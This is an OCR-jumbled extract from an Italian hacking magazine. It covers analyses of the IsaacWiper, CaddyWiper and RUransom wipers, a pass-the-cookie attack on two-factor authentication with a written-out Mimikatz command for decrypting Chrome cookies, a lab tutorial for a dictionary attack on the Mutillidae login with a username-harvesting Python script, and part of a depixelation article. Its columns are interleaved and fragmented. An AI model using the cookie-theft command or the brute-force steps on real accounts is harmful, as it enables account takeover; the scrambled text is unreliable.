per generare i byte casuali che logica nelle directory, la loro la procedura di attacco falliva.
corromperanno la partizione. posizione fisica sul disco
Se la partizione è NTFS, invece, e i metadati relativi ai file. UN MALWARE DISTRUTTIVO
prima di acquisire il CSP con le A lavoro completato e una IsaacWiper è stato osservato
necessarie API analizza il file più volta riavviato il sistema, nelle directory C:\ProgramData
critico di questo filesystem, l'utente vedrà soltanto una e C:\Windows\System32 sotto
ossia la tabella file master (MFT) schermata vuota con le parole forma di file DLL (cleaner.dll,
che tiene traccia di tutti i file sul “Missing operating system” cl64.dll, cll.dll) o file EXE (clean.
volume, della loro posizione (Sistema operativo mancante). exe, cl.exe) privi di firma

30
 WIPER
figura #7 per poi sovrascriverlo con i dati
generati dall’algoritmo
Mersenne Twister.
Se non riesce ad accedere
a un volume, nella sua root crea
una directory nascosta con
all’interno un file temporaneo
(per esempio C:\Tmd1234.tmp\
Tmf5432.tmp) che viene
riempito con dati casuali fino
Un esempio dei messaggi di log registrati da IsaacWiper nel file log.txt.

s
a quando lo spazio disponibile
Fonte IBM: https://securityintelligence.com/posts/
new-wiper-malware-used-against-ukranian-organizations non risulta esaurito.
È interessante notare che la

ew
cancellazione ricorsiva dei file
avviene in un singolo thread.
Authenticode. IsaacWiper inizia file temporaneo con suffisso Ciò significa che il wiper
il suo processo malevolo “Tmf” seguito da una stringa richiede molto tempo per
enumerando le unità fisiche (lo casuale di quattro caratteri cancellare dischi di grandi
fa chiamando DeviceIoControl() (per esempio: Tmf3360.tmp), dimensioni.
_n
con il codice di controllo
IOCTL_STORAGE_GET_DEVICE_
NUMBER). Per avviare l’attività CO N T R O
UNA PROTEZIONE IP
I MALWARE W ER
di cancellazione sfrutta
invece CreateFileW()
lia

e DeviceIoControl() con codice

Dai rapporti di utilizzo dei malware distruttivi come HermeticWiper
di controllo FSCTL_LOCK_
risulta evidente che gli stessi siano stati creati con il preciso scopo di
VOLUME, necessario per colpire l’Ucraina. Il rischio che altre organizzazioni, per esempio quelle
bloccare l’unità [figura #7]. italiane, incontrino questa minaccia è al momento ridotto, ma ciò non
Con l’unità bloccata, il wiper significa che si possa abbassare la guardia. Tra le soluzioni di sicurezza
ita

prende di mira i dischi fisici che risultano più efficaci nel proteggere gli endpoint da questa tipologia
di minacce vi è la piattaforma Falcon di CrowdStrike (https://bit.ly/
collegati al computer
sitocrowdstrike) che sfrutta il cloud e l’apprendimento automatico
(i PhysicalDrive riconosciuti (basato sull’Intelligenza Artificiale e su algoritmi di Machine Learning)
da Windows) sovrascrivendo per rilevare tempestivamente eventuali anomalie e impedire che il
i primi 0x100000 byte (65.536 malware possa eseguire ulteriori azioni dannose, come il caricamento
@

KB) di queste unità con dati di componenti aggiuntivi. Per fare ciò si basa sul comportamento
creati sfruttando il generatore di precisi indicatori di attacco (IOA), nonché sull’analisi di tecniche
e procedure (TTP) utilizzate da minacce e attori delle minacce.
di numeri pseudocasuali
(PRNG) Mersenne Twister.
Il malware enumera
poi le unità logiche e cancella
ricorsivamente ogni file
presente in ciascuna di esse
sovrascrivendoli con byte
pseudocasuali generati
anch’essi tramite il PRNG
Un esempio di come l’apprendimento automatico
Mersenne Twister.
Se il wiper non è in grado di
basato sul cloud della piattaforma CrowdStrike Falcon
aprire un file, lo rinomina come
riesca a rilevare HermeticWiper.

31
 SICUREZZA
figura #8

s
ew
CaddyWiper distrugge soltanto sistemi che non hanno il ruolo di domain controller, così da garantire
agli aggressori l’accesso alla rete bersaglio.
(Fonte ESET: https://twitter.com/ESETresearch/status/1503436433134129158).

CADDYWIPER: IL WIPER CaddyWiper si distribuisce Group Policy Object (GPO),

DELL’ASSEDIO tramite un domain controller come HermeticWiper,
_n
Questo malware (DC), un server Windows indica che gli aggressori
adotta un che nell’ambito di un dominio avevano già il controllo
comportamento gestisce le richieste della rete bersaglio.
ormai di autenticazione per la
“standard” sicurezza e gestisce utenti, AGISCE IN BASE AL RUOLO
lia

per un malware gruppi e risorse di rete. Al momento dell’esecuzione,

wiper (non vi sono novità Poiché tale gestione avviene CaddyWiper esegue infatti
particolarmente eclatanti): tramite Active Directory (AD), la funzione DsRoleGetPrimary
il suo metodo di distruzione emerge che CaddyWiper DomainInformation
consiste infatti nel cancellare è stato progettato per essere per determinare il ruolo
ita

i dati degli utenti utilizzato in situazioni della macchina su cui

e le informazioni in cui l’ambiente AD sia stato è in esecuzione.
delle partizioni dei dischi già compromesso. Se il ruolo di dominio
installati nell’host. Il fatto che sia distribuito tramite risulta essere DsRole_
@

figura #9

L’attributo SeTakeOwnershipPrivilege usato da CaddyWiper per assumere la proprietà di un file bloccato.

Fonte IBM: https://securityintelligence.com/posts/caddywiper-malware-targeting-ukrainian-organizations/

32
 WIPER
figura #10 per velocizzare le operazioni.
Se un file risulta bloccato
da un altro processo,
Parte della routine
CaddyWiper tenta prima di
malevola di CaddyWiper
che provvede alla assumerne la proprietà (tramite
cancellazione ricorsiva SeTakeOwnershipPrivilege)
dei file. Fonte e poi riprende nella sua
ESET: https://twitter.com/ opera di cancellazione
ESETresearch/status/
del file [figura #9].
1503436420886712321/
Completata la distruzione
photo/2

s
della cartella Users,
il wiper ripete la procedura
su tutte le unità disponibili

ew
RolePrimaryDomain a cancellare in modo ricorsivo e solo al termine cancella
Controller, allora CaddyWiper tutti i dati all’interno le partizioni di tutti i dischi
esce dal processo per non di C:\Users, inclusi i file nascosti fisici (Physicaldrive) rilevati
continuare la sua azione e del sistema operativo. sovrascrivendo i primi 1920
distruttiva [figura #8]. Nel caso in cui un file sia byte con il valore NULL,
Se invece il sistema non più grande di 10 MB si limita come potete vedere nel codice
_n
è un DC, CaddyWiper inizia a distruggere i primi 40960 byte della [figura#10].

SOM, IL CONTRATTACCO DELL’UCRAINA?

RURAN
lia

Non è soltanto l'Ucraina a essere bersagliata dai malware кибервторжение.txt (Invasione informatica su vasta
wiper. Il primo marzo 2022 il Malware Hunter Team ha scala.txt) manifesta tutta l’ostilità del suo sviluppatore:
segnalato su Twitter (https://bit.ly/ruransomsample) “Il 24 febbraio, il presidente Vladimir Putin ha dichiarato
l’apparizione di un nuovo malware wiper guerra all’Ucraina. Per contrastare questo, io, il creatore
ita

(soprannominato RUransom dal suo sviluppatore) di RUransom, ho creato questo malware per danneggiare
che, questa volta, ha come obiettivo la Russia. la Russia […]. Non c’è modo di decifrare i suoi file. Nessun
Secondo il rapporto di TrendMicro, diverse versioni di pagamento, solo danni”. RUransom si diffonde come un
questo malware sarebbero state rilevate tra il 26 febbraio worm copiando l’eseguibile Россия-Украина_Война-
e il 2 marzo 2022. RUransom (scritto in .NET) agisce Обновление.doc.exe (Russia-Ucraina aggiornamento
@

come un ransomware, ma è di fatto un wiper anti-Russia sulla guerra.doc.exe) su tutti i dischi rimovibili e le unità
poiché espressamente progettato per crittografare i file di rete mappate. Il workflow della crittografia usa
dei sistemi russi e causarne la distruzione irreversibile l’algoritmo AES-CBC per generare chiavi casuali
(agisce su tutti i file a eccezione dei file .bak che vengono e univoche per ciascun file crittografato. Inoltre, poiché
invece cancellati direttamente). La nota di riscatto, le chiavi non vengono memorizzate da nessuna parte,
contenuta nel file Полномасштабное_ tale processo risulta di fatto irreversibile.

Frammento di codice
in cui il malware verifica se
viene eseguito dalla Russia,
in caso contrario evita
di attaccare il sistema.

33
 SICUREZZA

s
La doppia autenticazione ew
_n
E BACATA
lia

er st an n o su b en d o u n attacco simile,
Molti YouTub on è sicura.
perché anche la 2FA n sbagliato!
ita

N o n cl ic ca re su l li n k
L’unico rimedio?

L’
autenticazione NON È INVIOLABILE si esplorerà questo attacco,
a più fattori (MFA) Tuttavia, quando si adotta e si come funziona e quali metodi
@

è un ottimo modo implementa la tecnologia MFA di protezione esistono.

per aumentare è importante capire esattamente
la sicurezza di applicazioni Web, cosa può fare e cosa no, COOKIE DEL BROWSER
sessioni desktop remote, VPN e quali lacune di sicurezza Ai fini di questa ricerca, la cosa
e di qualunque altra risorsa a cui non vengono colmate. importante da sapere è che
un utente possa accedere online. Sebbene l’MFA sia eccezionale, i cookie del browser sono uno
Introducendo uno o più fattori non è una panacea per la sicurezza dei modi in cui le applicazioni Web
aggiuntivi nel processo di e dovrebbe essere considerata memorizzano le informazioni
autenticazione è possibile come una parte di una strategia di autenticazione dell’utente.
dimostrare che qualcuno di sicurezza totale. Così facendo un sito Web può
è effettivamente chi dice di essere Una tecnica interessante è l’utilizzo mantenervi connessi e non
e prevenire una quantità dei cookie del browser per aggirare richiedervi costantemente nome
significativa di furti d’identità l’MFA con un attacco pass-the- utente e password ogni volta che
e attacchi basati sulle credenziali. cookie. In questo articolo fate click su una nuova pagina.

34
 2FA
All’URL https://link.springer.com/
article/10.1007/s10207-021-
00548-5 potete leggere un paper
in inglese, ma scritto da tre italiani,
che spiega l’attacco alla 2FA.

che va impartito da riga di

comando in questo modo:

mimikatz.exe privilege::debug
log “dpapi::chrome

s
/in:%localappdata%google
chromeUSERDA~1defaultcookies

ew
/unprotect” exit

Ora, cosa succede se quei cookie ESTRARRE I COOKIE Ora che avete i cookie, dovete
di autenticazione cadono Il test è basato sul browser solo trasferirli in un’altra sessione
nelle mani sbagliate? Google Chrome che memorizza per prendere il controllo
i suoi cookie nella seguente dell’account dell’utente aprendo
PASS-THE-COOKIE posizione in un database SQLite: un’applicazione Chrome su un
_n
Fondamentalmente, se si utilizza server Kali Linux e utilizzando
la MFA nelle applicazioni Web, %localappdata%GoogleChromeUser l’opzione Ispeziona del browser
all’utente che effettua il login DataDefaultCookies per aggiungere nuovi cookie.
verrà richiesto di fornire ulteriori Andando su Applicazione >
garanzie di accesso, come La parte difficile è che quei cookie Cookie si potranno vedere
lia

accettare una notifica push vengono crittografati utilizzando i cookie correnti che non
sul proprio dispositivo mobile. chiavi legate all’utente a cui includono ESTSAUTH
Dopo aver superato tutti questi appartengono. Quindi avete o ESTSAUTHPERSISTENT,
test, l’utente può accedere all’app. bisogno di un modo per ottenere il che preclude la richiesta
A quel punto, viene creato l’accesso al database dei cookie dell’autenticazione a due fattori
ita

e memorizzato un cookie del e per decrittografare queste sul sito/app target.

browser per la sessione. informazioni in testo normale. Il gioco quindi è fatto.
Se un malintenzionato fosse Utilizzando Mimikatz (https://
in grado di estrarre questi cookie, github.com/ParrotSec/mimikatz) COME DIFENDERSI
potrebbe replicare la sessione siete in grado di estrarre i cookie Per prevenire questo tipo
@

dell’utente attaccato, di un utente, anche se sono di attacchi possono essere messe

autenticazione compresa, crittografati, con questo comando: in atto politiche più rigorose sulla
in una sessione del browser cancellazione dei cookie, evitando
completamente separata dpapi::chrome / però di far impazzire le persone
su un altro sistema, bypassando in:“%localappdata%Google con la riautenticazione costante
tutti i checkpoint MFA ChromeUser DataDefaultCookies” ogni volta che navigano su un sito.
lungo il percorso. /unprotect Le indicazioni di massima, anche
se frustrante per alcuni applicativi,
è non sincronizzare gli account
Questo attacco, che di fondo usa dei browser, non memorizzare
il phishing per ingannare gli utenti, le password e non cliccare
mai su collegamenti inviati
è un esempio di quanto si siano via email/social se non si ha
evoluti i cybercriminali nel tempo la certezza di chi li ha inviati.

35
SICUREZZA

SESTA PARTE

s
Attacco
ew
a d i z i o n a r i o !
izzare un dictionary
Come progettare e real
GLOSSARIO plication reale!
_n
ra to su un a Web ap
DI BASE attack calib

L
LOG POISONING a nostra “palesta per ci hanno permesso di ottenere una
Sotto questo nome ricade pentester”, l’ambiente shell (per giunta persistente)
quella classe di attacchi virtuale (vedi il link https:// sul server Web della rete. Più
lia

basati sull’iniezione di codice bit.ly/palestra_hj) che precisamente, per accedere al server

malevolo all’interno dei file utilizziamo per le esercitazioni, ci ha abbiamo dovuto fare leva su due
di log prodotti da un sistema
consentito sin qui di confrontarci distinte vulnerabilità (LFI, Local File
nel corso del suo
funzionamento ordinario. con una vasta gamma di attacchi Inclusion, e RCE, Remote Command
e di tecniche offensive. Nelle puntate Execution) che affliggono Mutillidae
ita

LOCAL FILE INCLUSION più recenti ci siamo soffermati (la Web application, descritta nel box
È il nome di un attacco sul log poisoning, ideando omonimo, oggetto in questa fase
teso a esfiltrare i file e implementando tecniche che delle nostre attenzioni):
contenuti nel filesystem
locale di un server Web
figura #1
@

(che, è bene sottolineare,

in condizioni normali non
dovrebbero essere accessibili
all’utente Web) sfruttando
un’apposita vulnerabilità
della Web application,
generalmente legata
a un insufficiente controllo
di un input utente.

REMOTE COMMAND
EXECUTION
Gli attacchi di tipo RCE
consentono a un attore
malevolo di forzare
l’esecuzione di comandi
arbitrari su un server remoto. La schermata di login di Mutillidae,
oggetto del nostro attacco.
36
 PENETRATION TEST
Ecco come accedere alla
pagina che riporta tutti figura #2
gli utenti locali della
Web app.
la combinazione di tali
vulnerabilità, unitamente a un
accorto “avvelenamento” del log
auth.log attraverso una
connessione SSH malevola (e alla
contestuale installazione sul server

s
di una Webshell), ci ha consentito
di raggiungere il nostro obiettivo,
“mettendo un piede” all’interno

ew
della rete target. testare) ci “obbligano” a individuare vettori d’attacco (in modo da
soluzioni complesse, che individuare il numero maggiore
LOW-HANGING FRUIT richiedono competenza, possibile di falle, permettendo
Da questa breve introduzione pianificazione e un certo grado di al cliente di applicare adeguate
appare chiaro come le attività esperienza. Non sempre, tuttavia, contromisure), è altrettanto vero
poste in essere, sebbene le cose stanno così: in determinati che sfruttare per prime le più
_n
tecnicamente piuttosto “sfidanti”, contesti possono essere disponibili semplici (ovvero cogliere quelli
non siano state semplici e lineari. anche vie d’accesso più elementari, che in gergo sono denominati
Spesso durante una verifica di sebbene altrettanto efficaci per low-hanging fruit) può
sicurezza le condizioni a contorno i nostri scopi. Se è vero che nel avvantaggiare non poco il nostro
(in primis la complessità e il grado corso di un penetration test è lavoro, mettendoci a disposizione
lia

di protezione dell’infrastruttura da opportuno testare tutti i possibili informazioni e/o canali d’accesso

d i t e s t c o m p l e t o
Un ambiente
ita

Rete
Internet 211.100.1.2 Target
@

Backbone
211.100.1.1 Server
212.100.1.3 FTP
Router
212.100.1.1

210.100.1.2
212.100.1.2
Pentester Server
210.100.1.1 Web

All’URL https://bit.ly/palestra_hj
trovate le istruzioni per creare
la palestra virtuale. 37
SICUREZZA
figura #3 Se doveste imbattervi
in questo errore,
niente paura!

La pagina che riporta

tutti gli utenti locali
della Web app.
in grado di semplificare
l’esecuzione delle attività a più alto
tasso tecnico.
figura #4

s
DICTIONARY ATTACK
In quest’ottica, non dobbiamo

ew
disdegnare attacchi più elementari
come brute force o dictionary
attack, in grado di fornire un
accesso (persino privilegiato,
a seconda dell’account attaccato!)
senza troppi fronzoli. Attenzione:
_n
per “attacchi più elementari” non
intendiamo operazioni eseguibili
“a occhi chiusi” o lanciando in
maniera non curante un qualche di fare il lavoro per conto nostro. le autenticazioni dei servizi FTP e
script in grado (magicamente!?) Piuttosto, stiamo parlando SSH in esecuzione sul server Web:
lia

di attacchi che, pur richiedendo l’unica differenza con il nostro caso

comunque una doverosa è nel tipo di protocollo da utilizzare

Mutillidae preparazione (al pari di qualsiasi

altra attività che un vero pentester
(HTTP) e nel tool impiegato.

esegua sui sistemi target dei propri ZED ATTACK PROXY

ita

Mutillidae è una Web

application didattica, clienti), risultano tecnicamente più Sebbene Hydra possa essere
Open Source e liberamente
semplici o – quanto meno – più considerato uno specialista per
installabile da chiunque
intenda migliorare le proprie facilmente ripetibili. In altri termini, questo tipo di attacchi, per
capacità di pentester. Rispetto una volta eseguito un dictionary l’occasione preferiamo far
ad altre Web app simili (come attack, tutti gli altri saranno nuovamente ricorso a Zed Attack
@

“Damn Vulnerable Web concettualmente simili, Proxy (ZAP), il tool Open Source
Application”, che abbiamo visto
susseguendosi attraverso distribuito da OWASP per l’analisi
nelle puntate precedenti)
si contraddistingue per il suo le medesime fasi: dovremo delle vulnerabilità dei siti Web.
approccio basato sulle individuare uno o più username da Useremo nuovamente la
vulnerabilità appartenenti alla attaccare, una wordlist da utilizzare funzionalità di fuzzing già vista
lista denominata “OSWAP Top
nella speranza di scoprire le all’opera nei numeri precedenti,
10”, che racchiude le 10 falle
più diffuse in ambito Web. password degli utenti, scegliere adattandola stavolta a un
Sotto questo profilo Mutillidae un tool in grado di effettuare per dictionary attack rivolto contro la
ci offre un ambiente conto nostro il login automatizzato schermata di login all’area privata
addestrativo privilegiato, al servizio target, configurarlo di Mutillidae, che possiamo
consentendo di confrontarci
con le diverse incarnazioni
adeguatamente e infine avviare visualizzare al link [figura #1]
di ciascuna delle vulnerabilità l’attacco. Nei numeri precedenti, http://www.labpentest.hj/
incluse nella “OSWAP Top 10”. per esempio, abbiamo spesso mutillidae/index.php?page=login.
fatto ricorso a Hydra per attaccare php.

38
 PENETRATION TEST
ESTRARRE GLI UTENTI accedere sia gli utenti anonimi vedere l’elenco degli utenti della
Prima dell’attacco è necessario sia, soprattutto, quelli registrati. Web app [figura #5], compreso
individuare lo username degli Particolare ancora più interessante (per ultimo) l’utente hj che
utenti da “craccare”. Si tratta di una agli occhi di un pentester, abbiamo creato nelle puntate
fase preliminare tanto laboriosa Mutillidae mette a disposizione precedenti. A questo punto,
quanto fondamentale per la buona una comodissima interfaccia selezionando il nome di uno degli
riuscita del compito: in linea di per selezionare i post di un singolo utenti e premendo il pulsante View
massima, a parità di wordlist utente, che può essere scelto Blog entries, possiamo
utilizzata, a un numero maggiore attraverso una pratica lista visualizzare i post di un utente
di utenti corrisponde un numero comprendente tutti gli utenti locali specifico; viceversa, se

s
maggiore di successi, ovvero della Web application. Possiamo selezioniamo l’opzione Show all,
di password individuate. accedervi cliccando sull’apposito abbiamo l’occasione di esaminare
Generalmente l’estrazione degli link presente nel menu laterale, i post di tutti gli utenti [figura #6].

ew
utenti richiede un certo grado di selezionando le voci Others | In questa sede, tuttavia, non siamo
interazione con l’applicazione Web: JavaScript “Security” | Add to interessati ai post quanto piuttosto
è necessario navigare le sue pagine your blog [figura #2]. Qualora agli utenti stessi che li hanno
alla ricerca delle “tracce” che la Web app dovesse restituirvi una prodotti: uno dei dati da dare
ciascun utente dissemina quando pagina d’errore [figura #3], non in pasto a ZAP per avviare il
è impegnato in attività come l’invio occorre disperarsi: si tratta di un dictionary attack contro il form
_n
di messaggi pubblici, la problema nel link, al quale si può di autenticazione a Mutillidae è
realizzazione di post, l’acquisto di porre rimedio sostituendo costituito proprio dall’elenco degli
beni o la pubblicazione di l’indirizzo del server Web username di tali utenti. Il modo più
recensioni. La maggior parte delle (www.labpentest.hj) al termine rapido per accedere a questo
Web app mostra pubblicamente le “localhost”, in modo da ottenere elenco è estrarlo dal codice HTML
lia

informazioni correlate a questo l’URL [figura #4] http://www. della pagina: dal browser,
tipo di attività, che in qualche caso labpentest.hj/mutillidae/index. selezioniamo View HTML, quindi
sono associate al nome utente php?page=view-someones-blog. individuiamo il codice [figura #7]
(piuttosto che al nome di php. relativo alla select list che ci
battesimo) di chi le ha eseguite. consente di impostare il filtro per
ita

LISTA DEGLI UTENTI autore nella visualizzazione dei

UTENTI DI MUTILLIDAE Se clicchiamo sulla lista di selezione post (l’operazione è più rapida e
In questo, Mutillidae non fa con etichetta Please Choose semplice se si cerca, all’interno del
eccezione: la Web app offre un Author possiamo
rudimentale blog, a cui possono figura #6
@

figura #5

L’elenco degli utenti locali della Web app. I post pubblicati nella Web app.

39
SICUREZZA
figura #7 dimensioni coinvolte in uno
scenario reale potrebbero essere
eccessive per un lavoro
esclusivamente di tipo manuale),
cogliamo al balzo l’idea di realizzare
un piccolo script Python, in modo
da allenare anche quelle skill
Il codice HTML relativo alla da sviluppatori che tornano
select list per la scelta sicuramente utili a qualsiasi
dell’utente locale di cui aspirante penetration tester.

s
visualizzare i post. Concettualmente, il lavoro dello
script non è complesso: all’interno
del codice HTML estratto dalla

ew
figura #8 pagina, infatti, i nomi degli utenti
sono compresi tra il tag <option>
La schermata e il tag </option>. Per esempio,
di ZAP che per il primo utente (admin),
consente abbiamo [figura #7]:
l’inserimento dei
_n
nomi utenti da <option value=“admin”>admin</
attaccare sotto option>
forma di lista
in cui ogni riga Per il secondo
corrisponde a un
lia

nome utente. <option

value=“adrian”>adrian</option>

codice, il tag </option>). Copiamo Lo abbiamo visto qualche numero e così via. Recupereremo il file che
quindi la porzione di codice HTML fa con Hydra, ma l’interfaccia avevamo chiamato utenti-grezzi.txt
ita

all’interno di un file che di fuzzing di ZAP si comporta nel e lo daremo in pasto allo script
denomineremo utenti-grezzi.txt: medesimo modo, consentendoci Python così che possa effettuarne
al suo interno troveremo la lista di inserire username e password il parsing alla ricerca dei nomi
degli username da sottoporre sotto forma di un elenco di utente.
all’attacco, ma prima che questa stringhe suddivise in righe
@

possa essere concretamente [figura #8] oppure estraendo tale IL CODICE

utilizzata c’è bisogno ancora elenco direttamente da un file Per semplificare
di un po’ di lavoro. di testo formattato nel medesimo l’implementazione, possiamo
modo [figura #9]. affinare ulteriormente la nostra
FORMATTARE LA LISTA strategia, individuando (e
In linea di massima, infatti, i tool CREIAMO LO SCRIPT stampando in output) le stringhe
per l’esecuzione di brute force Per trasformare la nostra lista comprese tra il tag </option>
o di dictionary attack accettano di utenti nel medesimo formato e il carattere ‘>’ immediatamente
e gestiscono in input due liste abbiamo due strade: o ce ne precedente. Il codice risultante,
separate (una per gli username, occupiamo manualmente, oppure riportato in [figura #10], può
una per le password da utilizzare) realizziamo un piccolo script essere suddiviso concettualmente
a patto che queste siano che lo faccia per conto nostro. in tre parti.
formattate in modo che ciascuna Considerata la nostra pigrizia 1 l’apertura del file in
riga contenga una singola voce. atavica (ma anche che le lettura, con relativo

40
 PENETRATION TEST
L’ESECUZIONE

figura #9 A questo punto non ci resta

che salvare il codice con il nome
La schermata di ZAP pulisciUtente.py e mandarlo
che consente in esecuzione, con il comando
l’inserimento delle
# python pulisciUtente.py
password da utilizzare
per l’attacco, stavolta
per ottenere la tanto agognata lista
prelevate da un file di
degli utenti di Mutillidae contro
testo opportunamente

s
i quali scatenare il nostro attacco
formattato.
[figura #11]. Come possiamo
notare, nell’elenco figura anche

ew
l’utente hj, da noi creato nelle
controllo degli eventuali fine=-1; precedenti puntate per agevolare
errori d’accesso: while (1): la verifica di sicurezza: è bene
inizio=fine+1; ricordarci di escluderlo dall’attacco,
nomefile=“utenti-grezzi.txt” try: in quanto cercare di forzarne la
try: password (da noi stessi impostata!)
_n
file=open(nomefile,“r”); costituisce solo un’inutile perdita
except: fine=line. di tempo e di risorse.
print(“Non riesco ad index(“</option>”,inizio);
aprire il file ” + nomefile); inizio=line. E LA WORDLIST?
exit(); rindex(“>”,inizio,fine)+1; Prima di sferrare l’attacco ci rimane
lia

un’ultima attività: scegliere

2 il ciclo di lettura, che: print(line[inizio:fine]); il dizionario da utilizzare. A tal
• estrae per ciascuna riga del file except: riguardo dobbiamo sfuggire dalla
i nomi utente ivi presenti, ottenuti break; tentazione di optare per la wordlist
mediante stampa a video della più corposa a nostra disposizione,
ita

stringa compresa tra il tag 3 a chiusura del file in quanto non sempre “grande
</option> (a cui punta la variabile è meglio”. Una wordlist di 1.000
fine) e il carattere ‘>’ file.close(); potenziali password, anche se
immediatamente precedente
(a cui punta la variabile inizio), figura #10
@

estremi esclusi;
• si interrompe (il cliclo while(1)
è virtualmente senza fine) solo
una volta terminata la lettura del
Il codice del
file: al verificarsi di tale evento,
nostro script
viene sollevata un’eccezione
Python per
prontamente catturata dalla
l’estrazione
clausola except, con conseguente dell’elenco
esecuzione dell’istruzione di utenti da
break che determina l’effettiva attaccare.
uscita dal ciclo;

for line in file:

41
SICUREZZA
figura #12

figura #11

Il risultato
dell’esecuzione

s
La directory da cui scegliamo le wordlist
dello script. da utilizzare per i dictionary attack.

ew
impiegata per l’attacco di soli 17 ne comporterebbe inevitabilmente sufficiente varietà di password
utenti (avendo già escluso l’utente la scoperta o, peggio, sarebbe da provare per ciascun account
hj) comporta l’esecuzione di ben trattato al pari di un attacco presente nella lista. Nulla ci vieta,
17.000 tentativi di login, da informatico vero e proprio. poi, di effettuare un dictionary
sommare a quelli degli utenti attack “su più ondate”, andando
ordinari (tutt’altro che trascurabili, L’ATTACCO ad affinare (e ampliare) il dizionario
_n
se stiamo effettuando una verifica Per fortuna la directory /usr/ utilizzato di pari passo con il
di sicurezza su un sistema di share/wordlists della distro Kali progredire dell’attacco: in questo
produzione!). Si tratta di un carico installata sulla VM Pentester modo la wordlist http_default_
aggiuntivo che, se nel nostro caso è ricca di dizionari di ogni tipo e password.txt sarà utilizzata per
specifico non comporta particolari dimensione: noi ci soffermeremo provare a “rompere” la password
lia

problematiche (a eccezione del su quelli contenuti nella di tutti gli utenti, ma solo quelli più
tempo d’attesa necessario sottodirectory metasploit [figura “resistenti” (che, auspicabilmente,
all’esecuzione dei tentativi di login), #12], impiegati dall’omonimo tool saranno in numero minore)
deve essere opportunamente ma disponibili anche al di fuori del si vedranno scatenare contro le
vagliato insieme al titolare software prodotto da Rapid7. Più wordlist più evolute e/o corpose.
ita

dell’infrastruttura testata, al fine precisamente, inizieremo con la Ma questa è un’altra storia, che
di scongiurare ogni pericolo di wordlist http_default_password. vedremo nel prossimo numero...
intaccare la disponibilità dei servizi txt, che conta appena 19
oggetto di verifica. Come se non potenziali password [figura
bastasse, poi, in determinate #13]: in questo modo, se
@

tipologie di verifica (per esempio da un lato i tempi d’attesa

quelle di tipo double-blind, pensate saranno mantenuti bassi
anche per “testare” non solo (ma comunque nell’ordine
l’infrastruttura target, ma anche di una decina di secondi,
il grado di reattività, le conoscenze dovendo effettuare oltre
e le capacità di gestione di un 300 tentativi di login alla
incidente di sicurezza del personale medesima Web
deputato alla gestione dei servizi), application), dall’altro
il comparto IT del cliente non è disporremo di una
assolutamente a conoscenza delle
attività dei pentester: di
conseguenza, un’attività La wordlist che
“rumorosa” come un tool che utilizzeremo per
esegua migliaia di tentativi di login l’attacco.

42
 s
ew
_n
lia

HOW TO
ita

Pixelling Testi pixellati, ora craccati!

@

Proteggere i propri segreti pixellando le immagini non è più un metodo sicuro.............................. 44

scocciatori Come rendere visibile un numero privato

C’è un modo gratuito per “smascherare” chi effettua telefonate usando il prefisso #31#...............48

filesystem Alla scoperta di NTFS, terza parte

Vediamo come il filesystem NTFS, tipico dei sistemi Windows, conserva i file................................... 52
HOW TO

TESTI PIXELLATI, ORA

CRACCATI! Pixellatura, sfocatura, spirale?
Se usate ancora questi filtri per
nascondere i vostri segreti più

s
intimi, allora sappiate che…

I
ew
IN BREVE l pixeling (o mosaicing) è una perse durante l’elaborazione del
particolare tecnica di offuscamento processo, non si tratta di una
Ecco come funziona
che tramite algoritmi di sfocatura procedura totalmente distruttiva
il tool che permette
di riconoscere gli (blurring) diffonde i pixel cercando dei pixel, quindi molte di queste
elementi pixellati di imitare i problemi di messa a fuoco informazioni rimangono. E sono
nelle foto o all’interno delle fotocamere, riducendo così la proprio queste che, sapendo come
_n
dei testi. risoluzione e la qualità delle immagini. agiscono tali filtri, si possono usare per
DIFFICOLTÀ Gli algoritmi di pixellatura più usati (in ricostruire l’informazione originale.
software come GIMP, Photoshop, ecc.),
detti “filtri a scatola lineare” (di tipo L’ALLERTA DEI RICERCATORI
deterministico), dividono l’immagine Negli anni, diversi ricercatori hanno
lia

in una griglia di blocchi di pixel e per cercato di dimostrare l’inefficacia di

L’algoritmo di pixellatura
ciascun blocco viene calcolato il valore questa tecnica in termini di sicurezza,
“a scatola lineare” divide
l’immagine in una griglia medio dei pixel presenti. Infine, si proponendo soluzioni concettualmente
e sostituisce il colore di sovrascrivono tutti i pixel del blocco analoghe tra loro: quando non sono
ciascun blocco con quello con il loro valore medio calcolato. disponibili informazioni sufficienti a
ita

derivante dalla media Si ottiene così un’immagine finale ricostruire l’immagine, si può procede
dei blocchi presenti
incomprensibile a chi la osserva. a pixellare dati simili per verificare se
nell’immagine originale
in quella stessa area. Sebbene alcune informazioni vengano corrispondono al campione pixellato.

figura #1
Tale approccio logico si ritrova anche
nell’algoritmo di Depix, un tool di
@

recupero delle password pixellate

negli screenshot, scritto in Python
e rilasciato a dicembre 2020 da Sipke

figura #2 Mellema (https://bit.ly/depix).

Nonostante le sue limitazioni, di cui
si parlerà, Depix ha avuto il grande
merito di riaccendere la discussione sul

Ai fini di un corretto riconoscimento

del testo pixellato, Depix necessita
che lo stesso abbia determinate
caratteristiche: colore dello sfondo, font
del testo, spaziatura dei caratteri ecc.
In caso contrario, il risultato potrebbe
risultare scadente o del tutto assente.

44
 PIXELLING
tema, sensibilizzando gli utenti requisiti troppo stringenti. È solo il testo offuscato per sperare
a non adottare più tali tecniche nelle condizioni ideali previste dai che Depix riesca a deoffuscarli
(pixeling, blur, swirl, fuzzy, ecc.) sample dimostrativi (disponibili correttamente. Inoltre, se la scala
per celare dati sensibili. Uno degli nel repository GitHub di Depix) o l’offset della pixellatura o la
studi più significativi in questo che si ottengono risultati dimensione della casella è diversa
settore è stato pubblicato nel sbalorditivi, mentre risulta del da quella attesa, Depix non
2016 (https://bit.ly/depixpdf); tutto deludente su campioni che è in grado di restituire nulla.
il paper mostra come l’utilizzo introducono piccole variazioni e/o Allo stesso modo, se la pixellatura
di una particolare classe di modelli rumori che in un contesto reale è stata eseguita con tool diversi
statistici, cosiddetti “modelli sono, però, da ritenersi del tutto da quelli supportati (basati su
nascosti di Markov”, HMM (https:// normali. È necessario, infatti, algoritmi linear box filter),

s
it.wikipedia.org/wiki/Modello_di_ conoscere a priori, o indovinare Depix non funziona. Sebbene
Markov_nascosto), consentano arbitrariamente, quali strumenti Jumpsec Labs ammetta che un
